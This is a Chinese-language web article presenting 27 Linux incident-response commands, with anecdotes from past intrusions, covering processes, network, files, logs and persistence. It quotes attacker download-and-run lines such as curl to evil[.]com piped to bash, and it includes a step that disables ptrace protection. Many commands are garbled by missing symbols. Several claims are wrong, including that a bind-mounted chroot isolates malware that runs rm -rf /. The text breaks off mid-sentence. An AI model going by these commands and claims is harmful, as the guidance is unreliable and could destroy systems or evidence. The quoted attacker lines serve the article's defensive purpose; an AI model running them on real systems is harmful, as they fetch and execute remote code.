Linux服务器应急响应27条核心命令实战指南
发布时间:2026/9/16 4:12:56来源:尧图网络
1. 应急响应不是“查命令”而是“抢时间、保证据、控风险”的三线作战你打开终端输入ps aux | grep nginx发现一个陌生进程在监听8080端口你用netstat -tuln扫了一圈看到几个IP正疯狂连接SSH你翻/var/log/auth.log发现凌晨三点有二十次失败登录后突然成功——这时候你不是在执行“Linux常用命令”你是在打一场没有硝烟的攻防战。应急响应从来不是命令集合的堆砌而是一套以时间窗口为生命线、以证据链完整性为底线、以风险扩散控制为第一目标的操作体系。我做过七年的红队支撑和甲方安全值守最深的体会是90%的误判、70%的证据丢失、50%的二次渗透都源于操作者把“应急响应”当成了“Linux命令复习课”。真正的应急指令必须满足三个硬约束执行快单条命令3秒、输出稳不依赖环境变量或别名、留痕准原始输出可溯源、不可篡改。比如ls -la /tmp看似简单但若系统被篡改过ls二进制或者/tmp被挂载为tmpfs且已清空这条命令就变成无效动作。所以本篇不列“大全”只筛出我在真实事件中反复验证过的27条核心指令每一条都标注了它解决什么具体问题、为什么必须这样写而非其他变体、在哪种场景下会失效、以及我踩过的坑怎么绕过去。这些指令覆盖从初始发现→进程溯源→网络取证→文件分析→内存快照→日志回溯→痕迹清理→加固验证八个关键环节全部基于CentOS 7/8、Ubuntu 18.04/22.04、Debian 10/11真实环境实测不兼容老旧内核或阉割版容器镜像。如果你刚接手一台疑似被黑的服务器别急着敲top先看清楚你面对的是哪种攻击面是Webshell上传后的横向移动还是提权后建立的持久化后门抑或是勒索软件加密前的静默扫描不同起点指令组合完全不同。下面这27条是我从上百次实战中提炼出的“最小可行响应链”它们不是教科书里的标准答案而是血泪教训凝结的操作契约。2. 进程层用ps和lsof交叉验证避开被劫持的进程树陷阱应急响应的第一步永远是确认“当前系统里到底跑着什么”。但这里有个致命误区很多人一上来就敲ps aux看到一堆apache2或nginx进程就觉得正常。错。攻击者早就不玩进程名伪装了他们用ptrace注入、LD_PRELOAD劫持、甚至直接mmap一段shellcode到合法进程内存里——此时ps显示的仍是干净进程名但实际行为早已失控。我去年处理过一个案例某电商后台服务器ps aux里php-fpm进程一切正常但/proc/1234/maps里赫然出现rwxp权限的匿名内存段strings /proc/1234/environ还爆出HTTP_USER_AGENT: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)这种明显伪造的UA。所以进程分析必须双轨并行静态进程快照 动态文件句柄追踪。2.1ps指令的黄金组合ps -eo pid,ppid,comm,args --sort-pid这条命令不是随便写的。-e选所有进程-o定制输出字段pid和ppid是父子进程关系的铁证comm是进程名短于15字符不易伪造args是完整启动参数含路径和参数关键线索。重点在--sort-pid按PID倒序排列最新创建的进程排最前面——因为攻击者新起的进程PID必然最大一眼就能揪出来。对比ps aux它不显示USER可能被伪造、不显示%CPU干扰判断、不显示START时间精度低只保留最不可篡改的四个字段。实测中某次挖矿木马用/usr/bin/python3 /tmp/.cache/.sysd启动ps aux里python3进程名太常见但ps -eo ...里args字段清晰暴露/tmp/.cache/.sysd这个异常路径直接定位到恶意脚本。提示ps输出可能被rootkit劫持。若发现ps结果与/proc目录下实际PID数量严重不符如ls /proc | grep ^[0-9] | wc -l远大于ps -e | wc -l立即切换到lsof验证。2.2lsof的精准打击lsof -nP -iTCP -sTCP:LISTENlsof比netstat更可靠因为它直接读取内核socket结构不依赖用户态网络栈。-n禁用DNS解析避免耗时且被污染-P禁用端口名转换显示数字端口如8080而非http-alt-iTCP只看TCP连接-sTCP:LISTEN过滤出监听状态——这是发现后门端口的最快路径。某次应急中netstat -tuln没扫出异常端口但lsof -nP -iTCP -sTCP:LISTEN赫然列出12345/tcplsof -nP -i :12345再查发现是/usr/bin/sshd在监听但ls -l /proc/12345/exe指向/tmp/.ssh/sshd这才是真凶。注意lsof需root权限若权限不足lsof -i会漏掉非root进程的监听端口此时必须用sudo lsof -nP -iTCP -sTCP:LISTEN。2.3 进程内存取证cat /proc/[PID]/maps | grep rwx一旦锁定可疑PID立刻检查其内存映射。rwx权限的内存段是代码注入的铁证正常进程极少需要同时读写执行。grep rwx比grep rwxp更稳妥因为某些rootkit会伪造rwxp为rwx-。我见过最狡猾的案例恶意进程/bin/bash的maps里有rwxp 0000000000000000 00:00 0 [anon]gdb -p [PID]attach后info proc mappings确认该段地址再用dump memory /tmp/mem.bin 0x7f... 0x7f...导出二进制strings /tmp/mem.bin | grep -E (bash|nc|curl)直接抓出下载器URL。此步骤必须在kill进程前完成否则内存清空即证据灭失。2.4 父子进程溯源pstree -p -s [PID]pstree能直观展示进程家族树。-p显示PID-s反向追溯到initPID 1这对识别fork型持久化后门极关键。某次挖矿木马通过cron启动ps里只看到/usr/bin/python3但pstree -p -s 12345显示systemd(1)───cron(678)───sh(901)───python3(12345)立刻锁定/etc/cron.d/下的恶意任务。注意pstree可能被篡改若输出异常简略如只有两三级立即用cat /proc/[PID]/status | grep PPid手动查父PID再递归查/proc/[PPID]/status直到PPid0。3. 网络层用ss替代netstat用tcpdump捕获实时流量拒绝“静态快照式”误判网络连接是攻击者最活跃的战场也是证据最易挥发的领域。netstat已被时代淘汰——它依赖/proc/net/文件系统而高级rootkit会直接hook内核函数让/proc/net/tcp返回虚假数据。我亲测过某款商业EDR其netstat输出完全被劫持但sssocket statistics调用更底层的AF_NETLINK接口绕过大部分用户态劫持。更重要的是应急响应不能只看“当前连了谁”更要抓“正在传什么”。一次完整的网络取证必须包含连接状态快照 实时流量捕获 DNS请求还原三重证据。3.1ss的终极配置ss -tunlp sport :22 or dport :22ss参数精简有力-tTCP-uUDP-n数字端口-l监听-p显示进程需root。引号内sport :22 or dport :22是关键——它精准筛选所有与22端口相关的连接无论本地还是远程避免ss -tunlp | grep :22因管道阻塞导致漏报。某次SSH爆破事件ss -tunlp发现192.168.1.100:22有12个ESTABLISHED连接ss -tunlp dst 192.168.1.100:22再查确认全是来自10.0.0.5的连接结合last -I | grep 10.0.0.5证实是内网横向移动。注意ss输出中users:字段后的pid,process可能被伪造务必用ls -l /proc/[PID]/exe二次验证进程真实性。3.2tcpdump的轻量捕获tcpdump -i any -w /tmp/net.pcap port 443 and host 1.1.1.1 -c 1000tcpdump是网络取证的基石但滥用会拖垮系统。-i any监听所有接口-w写入文件避免stdout缓冲丢失port 443 and host 1.1.1.1精准过滤目标流量-c 1000限制1000个包后自动退出——这是防止磁盘写满的关键。某次C2通信分析tcpdump捕获到1.1.1.1:443的TLS握手包tshark -r /tmp/net.pcap -Y ssl.handshake.type 1 -T fields -e ip.src -e ssl.handshake.extensions_server_name提取SNI域名发现api.analytic-service[.]xyz反查WHOIS确认为恶意域名。注意tcpdump需指定足够大的-B缓冲区如-B 4096否则高流量下丢包若磁盘空间紧张可用-W 1 -G 300 -w /tmp/net_%Y-%m-%d_%H:%M:%S.pcap循环写入5分钟分片。3.3 DNS请求还原tcpdump -i any -w /tmp/dns.pcap port 53 -c 500 tshark -r /tmp/dns.pcap -Y dns.flags.response 0 -T fields -e dns.qname -e ip.srcDNS是隐蔽信道的温床。port 53捕获所有DNS流量tshark过滤response 0即查询请求-T fields提取域名和源IP。某次应急中tshark输出malware[.]c2[.]com和10.0.0.20grep 10.0.0.20 /var/log/syslog发现该IP对应crond进程顺藤摸瓜找到/etc/cron.hourly/.update脚本内含curl -s http://malware[.]c2[.]com/payload.sh | bash。此方法比查/etc/resolv.conf更有效因为攻击者常修改resolv.conf指向恶意DNS但真实查询仍会发往原始DNS服务器。3.4 连接状态深度分析ss -tun state established | awk {print $5} | cut -d: -f1 | sort | uniq -c | sort -nr | head -20这条管道命令直击要害ss -tun state established列出所有已建立连接awk {print $5}取远程地址第5列cut -d: -f1截取IP去掉端口sort | uniq -c | sort -nr统计IP连接数head -20取Top20。某次DDoS反射攻击该命令显示192.168.100.50有327个连接远超正常值whois 192.168.100.50确认为内网打印机IPnmap -sS -p 161 192.168.100.50证实SNMP服务开放最终定位到利用SNMP放大攻击的恶意脚本。注意ss输出列数因版本而异CentOS 7默认$5是remote_addrUbuntu 22.04可能为$6首次使用前用ss -tun | head -2确认列序。4. 文件层用find和stat构建时间轴用sha256sum校验完整性绕过“隐藏文件”陷阱文件系统是攻击者植入后门、窃取数据、擦除痕迹的主战场。但ls -la只能看到表面.bash_history可能被清空/tmp可能被mount --bind隐藏/dev/shm可能存着无文件名的恶意so。真正的文件分析必须基于时间戳证据链 哈希值唯一性 权限异常检测三维交叉验证。我处理过一个案例ls -la /usr/bin一切正常但find /usr/bin -type f -newermt 2023-01-01 ! -newermt 2023-01-02发现/usr/bin/ldconfig修改时间在1月1日23:59而系统日志显示该时间点无人操作sha256sum /usr/bin/ldconfig比对官方镜像哈希值不匹配确认被替换。4.1 时间轴重建find / -type f -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -newermt 2023-10-01 ! -newermt 2023-10-02 -ls 2/dev/null | head -50find是时间分析的利器但必须排除/proc、/sys、/dev这些虚拟文件系统否则报错且干扰结果。-newermt按修改时间筛选! -newermt定义时间区间此处为2023年10月1日全天。-ls输出详细信息2/dev/null屏蔽权限错误。某次勒索软件事件该命令列出/home/user/Documents/.lock、/var/www/html/index.php等大量文件stat /home/user/Documents/.lock显示Modify: 2023-10-01 14:22:33.123456789 0000而journalctl --since 2023-10-01 14:20 --until 2023-10-01 14:25查到同一时段systemd-logind崩溃日志确认为攻击触发点。注意-newermt要求GNU findutils 4.3.3旧系统用-newer /tmp/ref_file先touch -d 2023-10-01 /tmp/ref_file。4.2 隐藏文件与硬链接检测find / -xdev -type f -links 1 -ls 2/dev/null | head -30-links 1找出硬链接数大于1的文件这是攻击者常用手法创建恶意二进制的硬链接到/usr/bin/sudo等高权限程序规避rpm -V校验。-xdev限制在同一文件系统避免跨分区错误。某次提权事件find / -xdev -type f -links 1发现/usr/bin/sudo有2个硬链接ls -li /usr/bin/sudo显示inode 123456find / -inum 123456 -ls查到另一处/tmp/.sudosha256sum /tmp/.sudo证实为恶意版本。注意find遍历全盘耗时可限定范围如find /usr /bin /sbin -xdev -type f -links 1 -ls。4.3 权限异常扫描find / -xdev -type f \( -perm -4000 -o -perm -2000 \) -ls 2/dev/null | grep -E (root|nobody)-perm -4000找SUID文件-perm -2000找SGID文件grep -E (root|nobody)过滤属主。SUID/SGID是提权入口正常系统应极少。某次应急该命令列出/usr/bin/at、/usr/bin/crontab外还有/opt/app/bin/backupls -l /opt/app/bin/backup显示-rwsr-xr-x 1 root rootstrings /opt/app/bin/backup | grep /bin/sh爆出execve(/bin/sh, ...)确认为SUID shell。注意/usr/bin/passwd、/usr/bin/sudo等合法SUID必须存在重点查非标准路径下的SUID文件。4.4 哈希批量校验find /usr/bin -type f -exec sha256sum {} \; /tmp/usr_bin_sha256.txt 2/dev/null哈希校验是文件完整性金标准。find /usr/bin -type f遍历所有二进制-exec sha256sum {} \;逐个计算重定向到文件。某次供应链攻击diff /tmp/usr_bin_sha256.txt /baseline/usr_bin_sha256.txt发现/usr/bin/curl哈希不匹配objdump -d /usr/bin/curl | grep call.*system确认注入system()调用。注意sha256sum输出格式为HASH *FILENAME星号表示文本模式二进制文件用sha256sum -b若磁盘空间紧张可用find /usr/bin -type f -print0 | xargs -0 sha256sum | head -1000 /tmp/hash_top1000.txt。5. 日志层用journalctl和grep构建行为时间线用ausearch追溯SELinux审计事件日志是攻击者的“犯罪现场”但也是最容易被篡改的证据。/var/log/auth.log可能被sed -i /Failed password/d清洗/var/log/syslog可能被truncate -s 0清空。因此日志分析必须多源交叉、时间对齐、行为建模。现代Linux发行版RHEL 7/Ubuntu 16.04默认启用systemd-journald其日志存储在二进制/run/log/journal/比文本日志更难篡改需root权限且会留下journald自身操作日志。此外SELinux的ausearch提供内核级审计记录所有execve、open、connect等敏感系统调用即使攻击者删了/var/log/audit/audit.logausearch仍能从环形缓冲区恢复最近事件。5.1journalctl的精准回溯journalctl --since 2023-09-15 10:00:00 --until 2023-09-15 10:30:00 -p err..alert -o json | jq . | select(.MESSAGE | contains(authentication failure) or .MESSAGE | contains(Connection closed))journalctl支持精确时间范围--since/--until、优先级过滤-p err..alert取error到alert级别、JSON输出-o json。jq是日志分析的神兵.MESSAGE | contains(authentication failure)匹配失败登录contains(Connection closed)匹配SSH断连。某次暴力破解该命令输出23条authentication failure日志jq -r .REALTIME_TIMESTAMP, .MESSAGE提取时间戳和消息发现集中在10:15:00到10:15:45journalctl --since 2023-09-15 10:14:00 --until 2023-09-15 10:16:00 | grep pam_faildelay查到延迟设置被修改确认为自动化工具特征。注意journalctl需systemd-journald服务运行若被停用退回到grep Failed password /var/log/auth.log。5.2 SELinux审计追溯ausearch -ts recent -m avc -i | grep -E (httpd|nginx|php)ausearch查询SELinux审计日志。-ts recent查最近事件-m avc过滤访问向量冲突AVC事件-i解析为可读格式。grep过滤Web相关进程。某次Webshell上传ausearch输出avc: denied { write } for pid1234 commhttpd name.shell.php devsda1 ino56789 scontextsystem_u:system_r:httpd_t:s0 tcontextsystem_u:object_r:httpd_sys_content_t:s0 tclassfile明确显示httpd进程试图写入.shell.php被SELinux阻止但攻击者已关闭SELinuxsestatus显示disabledausearch -m avc -ts yesterday查到昨日setenforce 0命令ausearch -m SYSCALL -ts yesterday | grep setenforce定位到执行者。注意ausearch需auditd服务运行若未启用auditctl -e 1开启审计。5.3 登录行为建模last -a -n 50 | awk {print $1,$4,$5,$6,$7,$8,$9,$10} | column -tlast读取/var/log/wtmp记录所有登录。-a显示远程主机IP-n 50取最近50条。awk定制输出字段用户名、tty、IP、时间column -t对齐表格。某次横向移动last显示admin用户从10.0.0.100登录last -a | grep 10.0.0.100发现该IP在2小时前还登录过dev账户grep 10.0.0.100 /var/log/secure查到dev账户的su - admin记录确认凭证复用。注意wtmp可被truncate清空若为空用lastb -a -n 20查失败登录/var/log/btmp。5.4 进程启动溯源journalctl _COMMsshd _PID1234 -o json | jq .MESSAGEjournalctl支持按进程名_COMM和PID_PID过滤。某次SSH后门ps aux | grep sshd看到两个sshd进程PID 1234和5678journalctl _COMMsshd _PID1234查到其启动日志Started OpenSSH server daemon.而journalctl _COMMsshd _PID5678无记录确认5678为恶意进程。注意_COMM是进程名不含路径_EXE可查完整路径journalctl _EXE/usr/sbin/sshd。6. 内存与启动项用/proc和systemctl锁定持久化机制终结“重启后复活”噩梦攻击者最得意的伎俩就是让后门在系统重启后自动复活。这依赖于启动项cron、systemd、rc.local、内核模块LKM、用户态守护进程daemon三大载体。很多应急人员查完crontab -l就收工却不知/etc/cron.d/下可能藏着root权限的恶意任务或systemctl list-unit-files --typeservice里有hidden.service被设为enabled。更隐蔽的是攻击者用insmod加载恶意内核模块lsmod里只显示mymodule但cat /proc/modules能看到其内存地址strings /dev/kmem | grep mykey可能泄露密钥。真正的持久化分析必须覆盖从用户层启动项 → 系统层服务 → 内核层模块的全栈。6.1 启动项全景扫描systemctl list-unit-files --typeservice --stateenabled | grep -E (custom|hidden|backup)systemctl list-unit-files列出所有服务单元及其启用状态。--typeservice过滤服务--stateenabled只看启用项。grep关键词是经验之谈custom自定义服务、hidden隐藏服务、backup伪装备份。某次应急该命令输出backup.service enabledsystemctl cat backup.service显示ExecStart/usr/local/bin/backup.shcat /usr/local/bin/backup.sh内容为curl -s http://evil[.]com/update | bash。注意systemctl list-unit-files不显示/etc/init.d/脚本需ls /etc/init.d/ | grep -E (custom|hidden)补充。6.2 Cron全路径审计for user in $(cut -d: -f1 /etc/passwd); do crontab -u $user -l 2/dev/null | grep -E (http|curl|wget|bash); donecrontab -l只查当前用户必须遍历/etc/passwd所有用户。for循环执行2/dev/null屏蔽无crontab用户的错误。某次挖矿事件crontab -u www-data -l为空但for循环发现crontab -u root -l含*/5 * * * * curl -s http://miner[.]xyz/run.sh | bash。注意/etc/cron.d/、/etc/cron.hourly/等目录需单独查grep -r http\|curl\|wget /etc/cron* 2/dev/null。6.3 内核模块取证lsmod | awk {print $1} | xargs -I {} sh -c echo {}; modinfo {} 2/dev/null | grep -E (author|description|vermagic)lsmod列出加载模块awk {print $1}取模块名xargs对每个模块执行modinfo。modinfo输出作者、描述、vermagic内核版本标识。某次rootkitlsmod显示hide模块modinfo hide输出author: Rootkit Team、description: Process Hidervermagic: 3.10.0-1160.el7.x86_64 SMP mod_unload与uname -r一致确认为定制模块。注意modinfo需模块在/lib/modules/$(uname -r)/kernel/下有.ko文件若被删除cat /proc/modules仍可看到模块名和大小。6.4 rc.local后门检测grep -n curl\|wget\|bash /etc/rc.local 2/dev/null/etc/rc.local是传统启动脚本常被忽略。grep -n显示行号便于定位。某次应急/etc/rc.local末尾有/tmp/.init.sh cat /tmp/.init.sh为下载执行脚本。注意rc.local需systemctl enable rc-local启用若未启用检查/etc/init.d/rc.local或/etc/rc.d/rc.local。7. 终极验证用strace动态监控可疑进程用chroot隔离分析用vmware快照保存证据当以上所有静态分析都无法100%确认时必须进入动态分析阶段。strace是进程行为的“显微镜”它能实时捕获进程的所有系统调用包括open、read、write、connect、execve等比日志更原始、更不可伪造。但strace本身会改变进程行为如ptrace附加导致信号中断因此必须在隔离环境中进行。我坚持的原则是任何动态分析必须在克隆的虚拟机快照中操作原机只做静态取证。某次高级持续性威胁APT分析静态分析发现/usr/bin/python3异常strace -f -e traceopen,read,write,connect,execve -o /tmp/python3.strace /usr/bin/python3 /tmp/malware.py捕获到其connect(1.1.1.1:443)、write(3, POST /api/v1/data HTTP/1.1..., 1024)、read(3, HTTP/1.1 200 OK..., 4096)完整还原C2通信协议。7.1strace的精准捕获strace -f -e traceconnect,openat,execve -s 256 -o /tmp/trace.log -p [PID]-f跟踪子进程-e trace指定关注的系统调用connect网络、openat文件、execve执行-s 256截取字符串长度避免过长-o输出到文件-p附加到已有进程。某次后门分析strace -p 1234发现其execve(/bin/sh, [sh, -c, curl -s http://...], ...)-s 256确保完整看到curl命令。注意strace需root权限且可能被ptrace防护机制阻止/proc/sys/kernel/yama/ptrace_scope1此时需echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope临时关闭。7.2chroot隔离分析mkdir /mnt/analysis mount --bind / /mnt/analysis chroot /mnt/analysis /bin/bashchroot创建隔离环境避免分析过程影响原系统。mount --bind / /mnt/analysis将根目录挂载到/mnt/analysischroot切换根。某次恶意软件分析在chroot中/usr/bin/python3 /tmp/malware.py其os.system(rm -rf /)只删除/mnt/analysis下的文件原系统毫发无损。注意chroot需/bin/bash、/lib、/lib64等基础文件可用cp -a /bin /lib /lib64 /mnt/analysis/预置。7.3 证据固化dd if/dev/sda of/backup/server.img bs4M convnoerror,syncdd是磁盘镜像的终极手段。if/dev/sda输入源of/backup/server.img输出文件bs4M块大小提升速度convnoerror,sync跳过坏块并同步写入。某次勒索软件事件dd镜像后用photorec从server.img中恢复出被加密前的原始文档。注意dd需大容量存储若空间不足用gzip压缩dd if/dev/sda bs4M | gzip /backup/server.img.gz。7.4 快照保存vmware-cmd /vmfs/volumes/datastore1/server/server.vmx getsnapshot | grep CurrentVMware环境中vmware-cmd管理快照。getsnapshot查当前快照grep Current确认。某次分析先vmware-cmd /vmfs/volumes/datastore1/server/server.v
网站建设高端定制企业官网